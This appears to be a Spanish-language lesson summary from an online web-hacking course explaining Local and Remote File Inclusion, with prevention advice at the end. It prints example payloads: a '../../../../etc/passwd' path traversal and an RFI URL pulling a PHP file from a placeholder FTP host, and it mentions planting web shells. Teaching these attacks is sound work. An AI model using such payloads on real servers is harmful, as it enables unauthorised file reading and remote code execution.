Vulnerabilidades de File Inclusion: LFI y RFI
Clase 9 de 14 • Curso de Hacking: Aplicaciones Web Server Side
Resumen
¿Qué es la inclusión de archivos y cómo afecta la seguridad web?
La inclusión de archivos es una vulnerabilidad crítica en la seguridad de las aplicaciones web. Cuando no se manejan adecuadamente los parámetros de entrada, se pueden cargar archivos no deseados en el servidor. Existen dos tipos principales: Local File Inclusion (LFI) y Remote File Inclusion (RFI).
¿Cómo funciona la inclusión de archivos locales (LFI)?
El LFI permite a un atacante cargar archivos del propio servidor web. Esto se logra manipulando parámetros en la URL que especifican qué archivos cargar. En un entorno de prueba, podría estructurarse de la siguiente manera:
?page=include.php
Al modificar este parámetro, podrías intentar cargar archivos sensibles del sistema. Por ejemplo, al realizar una serie de movimientos en el directorio (utilizando ../
), podrías llegar a:
../../../../etc/passwd
Esto permitiría leer el archivo passwd
, que contiene información crítica sobre los usuarios del sistema.
¿Qué riesgos representa la inclusión de archivos remotos (RFI)?
A diferencia de LFI, el RFI carga archivos desde un servidor remoto. Esta vulnerabilidad es especialmente peligrosa, ya que permite al atacante introducir código adicional en la aplicación desde cualquier parte de internet. Por ejemplo, cargando un archivo desde un servidor FTP:
http://www.ejemplo.com/index.php?page=ftp://ip/direccion/archivo.php
Esto podría permitir la ejecución de código PHP malicioso si el servidor es vulnerable, facilitando acciones como la carga de una web shell.
¿Qué más se puede hacer con LFI y RFI?
-
LFI:
- Leer archivos de registros, como los logs de Apache.
- Obtener información confidencial, como las variables del entorno de ejecución.
-
RFI:
- Ejecutar scripts desde ubicaciones remotas.
- Implementar una puerta trasera mediante una web shell, facilitando el control remoto del servidor.
¿Cómo prevenir estas vulnerabilidades?
Para mitigar los riesgos asociados con LFI y RFI, se deben seguir prácticas de codificación segura:
- Validación de entrada: Verificar y limitar las entradas del usuario para evitar rutas no deseadas.
- Configuración del servidor: Deshabilitar la inclusión remota de archivos si no es necesaria.
- Uso de filtros y sanitización: Limpiar todos los datos entrantes para reducir el riesgo de inyecciones.
La inclusión de archivos es una perspectiva poderosa para transformar el conocimiento en acción. Continuar explorando y aprendiendo es vital para mantenerse al ritmo de las amenazas de seguridad modernas. Para aquellos interesados en profundizar más, hay recursos adicionales disponibles que proporcionan análisis detallados y estudios de caso sobre estas y otras vulnerabilidades.